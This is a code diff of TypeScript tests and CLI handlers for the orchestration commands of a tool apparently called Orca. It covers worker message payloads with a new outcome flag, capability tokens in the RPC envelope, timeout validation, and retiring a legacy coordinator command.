residualResources: []
|
||||
}
|
||||
})
|
||||
|
||||
await invokeWorkerStart(
|
||||
new Map<string, string | boolean>([
|
||||
['task', 'task_1'],
|
||||
['agent', 'codex'],
|
||||
['from', 'term_coord']
|
||||
])
|
||||
)
|
||||
|
||||
expect(process.exitCode).toBe(1)
|
||||
})
|
||||
|
||||
it('allows the initial zero cursor when paging worker output', async () => {
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
dispatchId: 'ctx_1',
|
||||
terminal: { tail: [], status: 'running', nextCursor: '0' }
|
||||
}
|
||||
})
|
||||
|
||||
await ORCHESTRATION_HANDLERS['orchestration worker-read']({
|
||||
flags: new Map<string, string | boolean>([
|
||||
['dispatch', 'ctx_1'],
|
||||
['cursor', '0'],
|
||||
['limit', '100']
|
||||
]),
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.workerRead', {
|
||||
dispatch: 'ctx_1',
|
||||
cursor: 0,
|
||||
limit: 100,
|
||||
source: undefined
|
||||
})
|
||||
})
|
||||
|
||||
it('passes opaque source-pinned cursors and explicit source selection', async () => {
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
dispatchId: 'ctx_1',
|
||||
source: 'transcript',
|
||||
transcript: { messages: [], nextCursor: 'owr1_next' }
|
||||
}
|
||||
})
|
||||
|
||||
await ORCHESTRATION_HANDLERS['orchestration worker-read']({
|
||||
flags: new Map<string, string | boolean>([
|
||||
['dispatch', 'ctx_1'],
|
||||
['cursor', 'owr1_previous'],
|
||||
['source', 'transcript']
|
||||
]),
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.workerRead', {
|
||||
dispatch: 'ctx_1',
|
||||
cursor: 'owr1_previous',
|
||||
limit: undefined,
|
||||
source: 'transcript'
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -5,7 +5,7 @@ const getTerminalHandleMock = vi.hoisted(() => vi.fn())
|
||||
const originalTerminalHandle = process.env.ORCA_TERMINAL_HANDLE
|
||||
const originalPaneKey = process.env.ORCA_PANE_KEY
|
||||
function lifecycleGroupRecipientError(type: 'worker_done' | 'heartbeat'): string {
|
||||
return `${type} messages must be sent to a concrete coordinator terminal handle, not a group address.`
|
||||
return `${type} messages belong to one exact Dispatch and cannot target a group address.`
|
||||
}
|
||||
|
||||
// Why: isolate the handler's flag-to-param mapping; printResult only writes output.
|
||||
@@ -48,46 +48,6 @@ afterEach(() => {
|
||||
}
|
||||
})
|
||||
|
||||
describe('orchestration reset CLI handler', () => {
|
||||
beforeEach(() => {
|
||||
callMock.mockReset().mockResolvedValue({ result: { reset: 'all' } })
|
||||
})
|
||||
|
||||
const invoke = (flags: Map<string, string | boolean>) =>
|
||||
ORCHESTRATION_HANDLERS['orchestration reset']({
|
||||
flags,
|
||||
client: { call: callMock },
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
it('sends all: true for a bare `reset` (no scope flag)', async () => {
|
||||
await invoke(new Map())
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.reset', {
|
||||
all: true,
|
||||
tasks: undefined,
|
||||
messages: undefined
|
||||
})
|
||||
})
|
||||
|
||||
it('sends only the tasks scope for --tasks', async () => {
|
||||
await invoke(new Map([['tasks', true]]))
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.reset', {
|
||||
all: undefined,
|
||||
tasks: true,
|
||||
messages: undefined
|
||||
})
|
||||
})
|
||||
|
||||
it('sends only the all scope for --all (no implicit extra scopes)', async () => {
|
||||
await invoke(new Map([['all', true]]))
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.reset', {
|
||||
all: true,
|
||||
tasks: undefined,
|
||||
messages: undefined
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('orchestration send structured payload flags', () => {
|
||||
beforeEach(() => {
|
||||
callMock.mockReset().mockResolvedValue({ result: { message: { id: 'msg_1' } } })
|
||||
@@ -113,6 +73,7 @@ describe('orchestration send structured payload flags', () => {
|
||||
['type', 'worker_done'],
|
||||
['task-id', 'task_1'],
|
||||
['dispatch-id', 'ctx_1'],
|
||||
['outcome', 'succeeded'],
|
||||
['files-modified', 'src/a.ts, src/b.ts'],
|
||||
['report-path', 'reports/done.md']
|
||||
])
|
||||
@@ -129,6 +90,7 @@ describe('orchestration send structured payload flags', () => {
|
||||
payload: JSON.stringify({
|
||||
taskId: 'task_1',
|
||||
dispatchId: 'ctx_1',
|
||||
outcome: 'succeeded',
|
||||
filesModified: ['src/a.ts', 'src/b.ts'],
|
||||
reportPath: 'reports/done.md'
|
||||
}),
|
||||
@@ -151,6 +113,25 @@ describe('orchestration send structured payload flags', () => {
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.send', expect.objectContaining({ body }))
|
||||
})
|
||||
|
||||
it('carries Dispatch authority in the RPC envelope instead of message params', async () => {
|
||||
await invokeSend(
|
||||
new Map<string, string | boolean>([
|
||||
['from', 'term_worker'],
|
||||
['subject', 'alive'],
|
||||
['type', 'heartbeat'],
|
||||
['dispatch-id', 'ctx_1'],
|
||||
['dispatch-capability', 'dcap_secret'],
|
||||
['retry-request', 'mutation_1']
|
||||
])
|
||||
)
|
||||
|
||||
expect(callMock).toHaveBeenCalledWith(
|
||||
'orchestration.send',
|
||||
expect.not.objectContaining({ dispatchCapability: expect.anything() }),
|
||||
{ orchestrationCapability: 'dcap_secret', orchestrationRequestId: 'mutation_1' }
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects mixing raw payload with structured payload flags', async () => {
|
||||
await expect(
|
||||
invokeSend(
|
||||
@@ -212,7 +193,8 @@ describe('orchestration send structured payload flags', () => {
|
||||
['from', 'term_worker'],
|
||||
['to', 'term_coord'],
|
||||
['subject', 'done'],
|
||||
['type', 'worker_done']
|
||||
['type', 'worker_done'],
|
||||
['outcome', 'succeeded']
|
||||
])
|
||||
)
|
||||
|
||||
@@ -224,7 +206,7 @@ describe('orchestration send structured payload flags', () => {
|
||||
type: 'worker_done',
|
||||
priority: undefined,
|
||||
threadId: undefined,
|
||||
payload: undefined,
|
||||
payload: JSON.stringify({ outcome: 'succeeded' }),
|
||||
devMode: false
|
||||
})
|
||||
})
|
||||
@@ -236,7 +218,8 @@ describe('orchestration send structured payload flags', () => {
|
||||
new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['subject', 'done'],
|
||||
['type', 'worker_done']
|
||||
['type', 'worker_done'],
|
||||
['outcome', 'succeeded']
|
||||
])
|
||||
)
|
||||
|
||||
@@ -249,7 +232,7 @@ describe('orchestration send structured payload flags', () => {
|
||||
type: 'worker_done',
|
||||
priority: undefined,
|
||||
threadId: undefined,
|
||||
payload: undefined,
|
||||
payload: JSON.stringify({ outcome: 'succeeded' }),
|
||||
devMode: false
|
||||
})
|
||||
})
|
||||
@@ -264,7 +247,8 @@ describe('orchestration send structured payload flags', () => {
|
||||
new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['subject', 'update'],
|
||||
['type', type]
|
||||
['type', type],
|
||||
...(type === 'worker_done' ? ([['outcome', 'succeeded']] as const) : [])
|
||||
])
|
||||
)
|
||||
|
||||
@@ -288,7 +272,8 @@ describe('orchestration send structured payload flags', () => {
|
||||
new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['subject', 'done'],
|
||||
['type', 'worker_done']
|
||||
['type', 'worker_done'],
|
||||
['outcome', 'succeeded']
|
||||
])
|
||||
)
|
||||
|
||||
@@ -308,7 +293,8 @@ describe('orchestration send structured payload flags', () => {
|
||||
new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['subject', 'done'],
|
||||
['type', 'worker_done']
|
||||
['type', 'worker_done'],
|
||||
['outcome', 'succeeded']
|
||||
])
|
||||
)
|
||||
).rejects.toMatchObject({
|
||||
@@ -328,7 +314,8 @@ describe('orchestration send structured payload flags', () => {
|
||||
new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['subject', 'update'],
|
||||
['type', type]
|
||||
['type', type],
|
||||
...(type === 'worker_done' ? ([['outcome', 'succeeded']] as const) : [])
|
||||
])
|
||||
)
|
||||
).rejects.toMatchObject({ code: 'no_active_sender_terminal' })
|
||||
@@ -364,7 +351,7 @@ describe('orchestration dispatch coordinator handle', () => {
|
||||
} as never)
|
||||
|
||||
const invokeRun = (flags: Map<string, string | boolean>) =>
|
||||
ORCHESTRATION_HANDLERS['orchestration run']({
|
||||
ORCHESTRATION_HANDLERS['orchestration coordinator-start']({
|
||||
flags,
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
@@ -483,29 +470,18 @@ describe('orchestration dispatch coordinator handle', () => {
|
||||
})
|
||||
})
|
||||
|
||||
it('uses a live coordinator handle for orchestration runs', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_stale_coord'
|
||||
process.env.ORCA_PANE_KEY = 'tab_coord:leaf_coord'
|
||||
stubStaleHandleRemint('term_live_coord', {
|
||||
result: { runId: 'run_1', status: 'running' }
|
||||
})
|
||||
getTerminalHandleMock.mockRejectedValue(new Error('active terminal fallback is unsafe'))
|
||||
|
||||
await invokeRun(new Map<string, string | boolean>([['spec', 'run the plan']]))
|
||||
|
||||
expect(callMock).toHaveBeenNthCalledWith(1, 'terminal.show', {
|
||||
terminal: 'term_stale_coord'
|
||||
})
|
||||
expect(callMock).toHaveBeenNthCalledWith(2, 'terminal.resolvePane', {
|
||||
paneKey: 'tab_coord:leaf_coord'
|
||||
})
|
||||
expect(callMock).toHaveBeenNthCalledWith(3, 'orchestration.run', {
|
||||
spec: 'run the plan',
|
||||
from: 'term_live_coord',
|
||||
pollIntervalMs: undefined,
|
||||
maxConcurrent: undefined,
|
||||
worktree: undefined
|
||||
it('retires the legacy coordinator command without runtime effects', async () => {
|
||||
await expect(
|
||||
invokeRun(new Map<string, string | boolean>([['spec', 'run the plan']]))
|
||||
).rejects.toMatchObject({
|
||||
code: 'orchestration_migration_required',
|
||||
data: {
|
||||
reason: 'command_retired',
|
||||
effectsApplied: false,
|
||||
nextCommandArgs: ['skills', 'get', 'orchestration', '--full']
|
||||
}
|
||||
})
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
@@ -540,75 +516,58 @@ describe('orchestration task-create caller handle', () => {
|
||||
displayName: undefined,
|
||||
deps: undefined,
|
||||
parent: undefined,
|
||||
run: undefined,
|
||||
callerTerminalHandle: 'term_creator'
|
||||
})
|
||||
})
|
||||
|
||||
it('does not persist a stale env terminal handle as task creator', async () => {
|
||||
it('fails closed when a stale task creator handle cannot be reminted', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_stale'
|
||||
callMock
|
||||
.mockRejectedValueOnce(staleHandleError())
|
||||
.mockResolvedValueOnce({ result: { task: { id: 'task_1', status: 'ready' } } })
|
||||
callMock.mockRejectedValueOnce(staleHandleError())
|
||||
getTerminalHandleMock.mockResolvedValue('term_wrong_active')
|
||||
|
||||
await invokeTaskCreate(new Map<string, string | boolean>([['spec', 'do work']]))
|
||||
await expect(
|
||||
invokeTaskCreate(new Map<string, string | boolean>([['spec', 'do work']]))
|
||||
).rejects.toMatchObject({ code: 'no_active_sender_terminal' })
|
||||
|
||||
expect(callMock).toHaveBeenNthCalledWith(1, 'terminal.show', { terminal: 'term_stale' })
|
||||
expect(getTerminalHandleMock).not.toHaveBeenCalled()
|
||||
expect(callMock).toHaveBeenNthCalledWith(2, 'orchestration.taskCreate', {
|
||||
spec: 'do work',
|
||||
taskTitle: undefined,
|
||||
displayName: undefined,
|
||||
deps: undefined,
|
||||
parent: undefined,
|
||||
callerTerminalHandle: undefined
|
||||
})
|
||||
expect(callMock).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('does not fail task creation when env handle validation cannot inspect the graph', async () => {
|
||||
it('propagates runtime unavailability while proving the bound coordinator', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_creator'
|
||||
callMock
|
||||
.mockRejectedValueOnce(new RuntimeClientError('runtime_unavailable', 'runtime_unavailable'))
|
||||
.mockResolvedValueOnce({ result: { task: { id: 'task_1', status: 'ready' } } })
|
||||
callMock.mockRejectedValueOnce(
|
||||
new RuntimeClientError('runtime_unavailable', 'runtime_unavailable')
|
||||
)
|
||||
|
||||
await invokeTaskCreate(new Map<string, string | boolean>([['spec', 'do work']]))
|
||||
await expect(
|
||||
invokeTaskCreate(new Map<string, string | boolean>([['spec', 'do work']]))
|
||||
).rejects.toMatchObject({ code: 'runtime_unavailable' })
|
||||
|
||||
expect(callMock).toHaveBeenNthCalledWith(1, 'terminal.show', { terminal: 'term_creator' })
|
||||
expect(getTerminalHandleMock).not.toHaveBeenCalled()
|
||||
expect(callMock).toHaveBeenNthCalledWith(2, 'orchestration.taskCreate', {
|
||||
spec: 'do work',
|
||||
taskTitle: undefined,
|
||||
displayName: undefined,
|
||||
deps: undefined,
|
||||
parent: undefined,
|
||||
callerTerminalHandle: undefined
|
||||
})
|
||||
expect(callMock).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('omits caller handle when pane reminting cannot inspect the graph', async () => {
|
||||
it('propagates runtime unavailability while reminting the bound coordinator', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_stale'
|
||||
process.env.ORCA_PANE_KEY = 'tab_creator:leaf_creator'
|
||||
stubStaleHandleRemintFailure(
|
||||
new RuntimeClientError('runtime_unavailable', 'runtime_unavailable')
|
||||
)
|
||||
callMock.mockResolvedValueOnce({ result: { task: { id: 'task_1', status: 'ready' } } })
|
||||
getTerminalHandleMock.mockResolvedValue('term_wrong_active')
|
||||
|
||||
await invokeTaskCreate(new Map<string, string | boolean>([['spec', 'do work']]))
|
||||
await expect(
|
||||
invokeTaskCreate(new Map<string, string | boolean>([['spec', 'do work']]))
|
||||
).rejects.toMatchObject({ code: 'runtime_unavailable' })
|
||||
|
||||
expect(callMock).toHaveBeenNthCalledWith(1, 'terminal.show', { terminal: 'term_stale' })
|
||||
expect(callMock).toHaveBeenNthCalledWith(2, 'terminal.resolvePane', {
|
||||
paneKey: 'tab_creator:leaf_creator'
|
||||
})
|
||||
expect(getTerminalHandleMock).not.toHaveBeenCalled()
|
||||
expect(callMock).toHaveBeenNthCalledWith(3, 'orchestration.taskCreate', {
|
||||
spec: 'do work',
|
||||
taskTitle: undefined,
|
||||
displayName: undefined,
|
||||
deps: undefined,
|
||||
parent: undefined,
|
||||
callerTerminalHandle: undefined
|
||||
})
|
||||
expect(callMock).toHaveBeenCalledTimes(2)
|
||||
})
|
||||
|
||||
it('propagates unexpected caller pane remint failures for task creation', async () => {
|
||||
@@ -665,10 +624,248 @@ describe('orchestration task-create caller handle', () => {
|
||||
displayName: undefined,
|
||||
deps: undefined,
|
||||
parent: undefined,
|
||||
run: undefined,
|
||||
callerTerminalHandle: 'term_live'
|
||||
})
|
||||
})
|
||||
})
|
||||
describe('orchestration timeout flag validation', () => {
|
||||
const invalidTimeoutValues: [string, string | boolean][] = [
|
||||
['missing', true],
|
||||
['empty', ''],
|
||||
['non-numeric', 'not-a-number'],
|
||||
['zero', '0'],
|
||||
['negative', '-1']
|
||||
]
|
||||
|
||||
beforeEach(() => {
|
||||
callMock.mockReset()
|
||||
delete process.env.ORCA_TERMINAL_HANDLE
|
||||
delete process.env.ORCA_PANE_KEY
|
||||
})
|
||||
|
||||
const invokeCheck = (flags: Map<string, string | boolean>) =>
|
||||
ORCHESTRATION_HANDLERS['orchestration check']({
|
||||
flags,
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
const invokeAsk = (flags: Map<string, string | boolean>) =>
|
||||
ORCHESTRATION_HANDLERS['orchestration ask']({
|
||||
flags,
|
||||
client: { call: callMock },
|
||||
cwd: '/tmp/repo',
|
||||
json: true
|
||||
} as never)
|
||||
|
||||
it.each(invalidTimeoutValues)('rejects invalid check --timeout-ms: %s', async (_label, value) => {
|
||||
const flags = new Map<string, string | boolean>([
|
||||
['wait', true],
|
||||
['timeout-ms', value]
|
||||
])
|
||||
|
||||
await expect(invokeCheck(flags)).rejects.toThrow(/--timeout-ms/)
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('passes a parsed check timeout and peek mode into the RPC payload', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({ result: { messages: [], count: 0 } })
|
||||
|
||||
await invokeCheck(
|
||||
new Map<string, string | boolean>([
|
||||
['wait', true],
|
||||
['peek', true],
|
||||
['timeout-ms', '250']
|
||||
])
|
||||
)
|
||||
|
||||
// Why: --peek rides with unread:false so pre-peek runtimes fall back to
|
||||
// the non-consuming all mode instead of the destructive mark-read default.
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.check', {
|
||||
terminal: 'term_worker',
|
||||
unread: false,
|
||||
peek: true,
|
||||
all: undefined,
|
||||
types: undefined,
|
||||
format: undefined,
|
||||
run: undefined,
|
||||
ack: undefined,
|
||||
wait: true,
|
||||
timeoutMs: 250
|
||||
})
|
||||
})
|
||||
|
||||
it('filters already-read rows from a peek response for pre-peek runtimes', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
messages: [
|
||||
{ id: 'msg_old', from_handle: 'a', subject: 'seen', read: 1 },
|
||||
{ id: 'msg_new', from_handle: 'a', subject: 'fresh', read: 0 }
|
||||
],
|
||||
count: 2,
|
||||
formatted: 'banners built from all rows'
|
||||
}
|
||||
})
|
||||
vi.mocked(printResult).mockClear()
|
||||
|
||||
await invokeCheck(new Map<string, string | boolean>([['peek', true]]))
|
||||
|
||||
const response = vi.mocked(printResult).mock.calls[0]?.[0] as {
|
||||
result: { messages: { id: string }[]; count: number; formatted?: string }
|
||||
}
|
||||
expect(response.result.messages.map((m) => m.id)).toEqual(['msg_new'])
|
||||
expect(response.result.count).toBe(1)
|
||||
// Why: the pre-peek runtime built `formatted` from all rows, including
|
||||
// the read one the filter just removed.
|
||||
expect(response.result.formatted).toBeUndefined()
|
||||
})
|
||||
|
||||
it('rejects combined read modes before calling the runtime', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockClear()
|
||||
|
||||
await expect(
|
||||
invokeCheck(
|
||||
new Map<string, string | boolean>([
|
||||
['unread', true],
|
||||
['peek', true]
|
||||
])
|
||||
)
|
||||
).rejects.toMatchObject({
|
||||
code: 'invalid_argument',
|
||||
message: expect.stringContaining('read mode')
|
||||
})
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('warns when a pre-peek runtime returned a full 100-row page', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
const rows = Array.from({ length: 100 }, (_, i) => ({
|
||||
id: `msg_${i}`,
|
||||
from_handle: 'a',
|
||||
subject: `s${i}`,
|
||||
read: i === 0 ? 0 : 1
|
||||
}))
|
||||
callMock.mockResolvedValue({ result: { messages: rows, count: 100 } })
|
||||
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
|
||||
|
||||
await invokeCheck(new Map<string, string | boolean>([['peek', true]]))
|
||||
|
||||
expect(errorSpy).toHaveBeenCalledWith(expect.stringContaining('newest 100 messages'))
|
||||
errorSpy.mockRestore()
|
||||
})
|
||||
|
||||
it('fails --peek --wait against a runtime that returned only read rows', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
messages: [{ id: 'msg_old', from_handle: 'a', subject: 'seen', read: 1 }],
|
||||
count: 1
|
||||
}
|
||||
})
|
||||
|
||||
await expect(
|
||||
invokeCheck(
|
||||
new Map<string, string | boolean>([
|
||||
['peek', true],
|
||||
['wait', true]
|
||||
])
|
||||
)
|
||||
).rejects.toMatchObject({ code: 'peek_wait_unsupported' })
|
||||
})
|
||||
|
||||
it.each(invalidTimeoutValues)('rejects invalid ask --timeout-ms: %s', async (_label, value) => {
|
||||
const flags = new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['question', 'Proceed?'],
|
||||
['timeout-ms', value]
|
||||
])
|
||||
|
||||
await expect(invokeAsk(flags)).rejects.toThrow(/--timeout-ms/)
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('uses the parsed ask timeout for both runtime wait and client timeout', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
answer: 'yes',
|
||||
messageId: 'msg_1',
|
||||
threadId: 'thread_1',
|
||||
timedOut: false
|
||||
}
|
||||
})
|
||||
vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
|
||||
await invokeAsk(
|
||||
new Map<string, string | boolean>([
|
||||
['to', 'term_coord'],
|
||||
['question', 'Proceed?'],
|
||||
['timeout-ms', '123']
|
||||
])
|
||||
)
|
||||
|
||||
expect(callMock).toHaveBeenCalledWith(
|
||||
'orchestration.ask',
|
||||
{
|
||||
to: 'term_coord',
|
||||
run: undefined,
|
||||
question: 'Proceed?',
|
||||
resume: undefined,
|
||||
options: undefined,
|
||||
timeoutMs: 123,
|
||||
from: 'term_worker'
|
||||
},
|
||||
{ timeoutMs: 5_123, orchestrationCapability: undefined }
|
||||
)
|
||||
})
|
||||
|
||||
it('passes an ask resume without creating a new question payload', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
callMock.mockResolvedValue({
|
||||
result: {
|
||||
answer: 'yes',
|
||||
messageId: 'msg_question',
|
||||
threadId: 'msg_question',
|
||||
timedOut: false
|
||||
}
|
||||
})
|
||||
vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
|
||||
await invokeAsk(new Map<string, string | boolean>([['resume', 'msg_question']]))
|
||||
|
||||
expect(callMock).toHaveBeenCalledWith(
|
||||
'orchestration.ask',
|
||||
{
|
||||
to: undefined,
|
||||
run: undefined,
|
||||
question: undefined,
|
||||
resume: 'msg_question',
|
||||
options: undefined,
|
||||
timeoutMs: undefined,
|
||||
from: 'term_worker'
|
||||
},
|
||||
{ timeoutMs: 605_000, orchestrationCapability: undefined }
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects ambiguous ask create/resume input before RPC', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_worker'
|
||||
await expect(
|
||||
invokeAsk(
|
||||
new Map<string, string | boolean>([
|
||||
['question', 'new'],
|
||||
['resume', 'msg_old']
|
||||
])
|
||||
)
|
||||
).rejects.toMatchObject({ code: 'invalid_argument' })
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
describe('orchestration task-list brief output', () => {
|
||||
it('requests server-side brief and falls back client-side for older runtimes', async () => {
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
/* eslint-disable max-lines -- Why: orchestration CLI handlers share flag-parsing helpers and dispatch/preamble logic; splitting by verb would fragment the RuntimeClient call shape without reducing complexity. */
|
||||
import type { CommandHandler } from '../dispatch'
|
||||
import type { RuntimeClient } from '../runtime-client'
|
||||
import { printResult } from '../format'
|
||||
import {
|
||||
getOptionalPositiveIntegerFlag,
|
||||
@@ -14,11 +15,21 @@ import {
|
||||
} from '../../shared/orchestration-ask-timeout'
|
||||
import { abbreviateOrchestrationTasks } from '../../shared/orchestration-task-summary'
|
||||
import { parsePositiveSafeIntegerText } from '../../shared/timer-delay'
|
||||
import type {
|
||||
OrchestrationWorkerReadResult,
|
||||
OrchestrationWorkerReadSource
|
||||
} from '../../shared/orchestration-worker-output'
|
||||
import type { NativeChatMessage } from '../../shared/native-chat-types'
|
||||
import type { RuntimeTerminalRead } from '../../shared/runtime-types'
|
||||
import {
|
||||
orchestrationMigrationData,
|
||||
orchestrationSkillRecoveryData
|
||||
} from '../../shared/orchestration-rpc-contract'
|
||||
|
||||
// Why: 15 s is well under Claude Code's ~2 min Bash-tool silence budget while keeping log volume low. See design doc §3.4.
|
||||
const DEFAULT_KEEPALIVE_INTERVAL_MS = 15_000
|
||||
function getLifecycleGroupRecipientError(type: 'worker_done' | 'heartbeat'): string {
|
||||
return `${type} messages must be sent to a concrete coordinator terminal handle, not a group address.`
|
||||
return `${type} messages belong to one exact Dispatch and cannot target a group address.`
|
||||
}
|
||||
|
||||
// Why: test-only escape hatch so subprocess tests avoid the full 15 s window; bogus values fall back to the default.
|
||||
@@ -83,6 +94,16 @@ type LifecycleSendRejection = {
|
||||
type OrchestrationSendResult =
|
||||
| { message: { id: string }; lifecycle?: LifecycleSendRejection }
|
||||
| { messages: { id: string }[]; recipients: number }
|
||||
| {
|
||||
relay: {
|
||||
messageId: string
|
||||
sequence: number
|
||||
dispatchId: string
|
||||
destination?: 'run_home' | 'worker'
|
||||
accepted: true
|
||||
}
|
||||
lifecycle?: { action: 'completed' | 'failed' }
|
||||
}
|
||||
|
||||
function getOptionalStructuredMessagePayload(
|
||||
flags: Map<string, string | boolean>
|
||||
@@ -90,12 +111,14 @@ function getOptionalStructuredMessagePayload(
|
||||
const rawPayload = getOptionalStringFlag(flags, 'payload')
|
||||
const taskId = getOptionalStringFlag(flags, 'task-id')
|
||||
const dispatchId = getOptionalStringFlag(flags, 'dispatch-id')
|
||||
const outcome = getOptionalStringFlag(flags, 'outcome')
|
||||
const filesModified = getOptionalStringFlag(flags, 'files-modified')
|
||||
const reportPath = getOptionalStringFlag(flags, 'report-path')
|
||||
const phase = getOptionalStringFlag(flags, 'phase')
|
||||
const hasStructuredPayload =
|
||||
taskId !== undefined ||
|
||||
dispatchId !== undefined ||
|
||||
outcome !== undefined ||
|
||||
filesModified !== undefined ||
|
||||
reportPath !== undefined ||
|
||||
phase !== undefined
|
||||
@@ -116,6 +139,15 @@ function getOptionalStructuredMessagePayload(
|
||||
if (dispatchId) {
|
||||
payload.dispatchId = dispatchId
|
||||
}
|
||||
if (outcome) {
|
||||
if (outcome !== 'succeeded' && outcome !== 'failed') {
|
||||
throw new RuntimeClientError(
|
||||
'invalid_argument',
|
||||
'Invalid --outcome. Expected succeeded or failed.'
|
||||
)
|
||||
}
|
||||
payload.outcome = outcome
|
||||
}
|
||||
if (filesModified) {
|
||||
payload.filesModified = filesModified
|
||||
.split(',')
|
||||
@@ -163,29 +195,6 @@ async function resolveOrchestrationTerminalHandle(
|
||||
return await getTerminalHandle(flags, cwd, client)
|
||||
}
|
||||
|
||||
async function resolveTaskCreatorTerminalHandle(
|
||||
client: Parameters<CommandHandler>[0]['client']
|
||||
): Promise<string | undefined> {
|
||||
const envHandle = process.env.ORCA_TERMINAL_HANDLE
|
||||
if (!envHandle || envHandle.length === 0) {
|
||||
return undefined
|
||||
}
|
||||
let live: boolean
|
||||
try {
|
||||
live = await isLiveTerminalHandle(envHandle, client)
|
||||
} catch (err) {
|
||||
if (isOptionalTaskCreatorHandleError(err)) {
|
||||
// Why: creator handles are best-effort lineage metadata; graph unavailability must not block task creation.
|
||||
return undefined
|
||||
}
|
||||
throw err
|
||||
}
|
||||
if (live) {
|
||||
return envHandle
|
||||
}
|
||||
return await resolveOrchestrationPaneTerminalHandle(client, { optional: true })
|
||||
}
|
||||
|
||||
async function isLiveTerminalHandle(
|
||||
handle: string,
|
||||
client: Parameters<CommandHandler>[0]['client']
|
||||
@@ -218,11 +227,6 @@ function isNoActiveTerminalError(err: unknown): boolean {
|
||||
return getClientErrorCode(err) === 'no_active_terminal'
|
||||
}
|
||||
|
||||
function isOptionalTaskCreatorHandleError(err: unknown): boolean {
|
||||
const code = getClientErrorCode(err)
|
||||
return code === 'no_active_sender_terminal' || code === 'runtime_unavailable'
|
||||
}
|
||||
|
||||
async function resolveOrchestrationPaneTerminalHandle(
|
||||
client: Parameters<CommandHandler>[0]['client'],
|
||||
options: { optional?: boolean } = {}
|
||||
@@ -310,7 +314,10 @@ function throwNoActiveSenderTerminal(): never {
|
||||
}
|
||||
|
||||
function isDevCliInvocation(): boolean {
|
||||
return process.env.ORCA_USER_DATA_PATH?.includes('orca-dev') ?? false
|
||||
return (
|
||||
process.env.ORCA_DEV_CLI_INVOCATION === '1' ||
|
||||
(process.env.ORCA_USER_DATA_PATH?.includes('orca-dev') ?? false)
|
||||
)
|
||||
}
|
||||
|
||||
function getOptionalPositiveIntegerValueFlag(
|
||||
@@ -340,11 +347,148 @@ function rejectLifecycleGroupRecipient(type: string | undefined, to: string): vo
|
||||
}
|
||||
}
|
||||
|
||||
function callMutation<TResult>(
|
||||
client: RuntimeClient,
|
||||
flags: Map<string, string | boolean>,
|
||||
method: string,
|
||||
params: unknown,
|
||||
options?: { timeoutMs?: number; orchestrationCapability?: string }
|
||||
) {
|
||||
const requestId = getOptionalStringFlag(flags, 'retry-request')
|
||||
if (!requestId) {
|
||||
return options
|
||||
? client.call<TResult>(method, params, options)
|
||||
: client.call<TResult>(method, params)
|
||||
}
|
||||
return client.call<TResult>(method, params, {
|
||||
...options,
|
||||
orchestrationRequestId: requestId
|
||||
})
|
||||
}
|
||||
|
||||
type LegacyWorkerReadResult = {
|
||||
dispatchId: string
|
||||
terminal: RuntimeTerminalRead
|
||||
}
|
||||
|
||||
function formatWorkerRead(value: OrchestrationWorkerReadResult | LegacyWorkerReadResult): string {
|
||||
if (!('source' in value) || value.source === 'terminal') {
|
||||
return value.terminal.tail.join('\n')
|
||||
}
|
||||
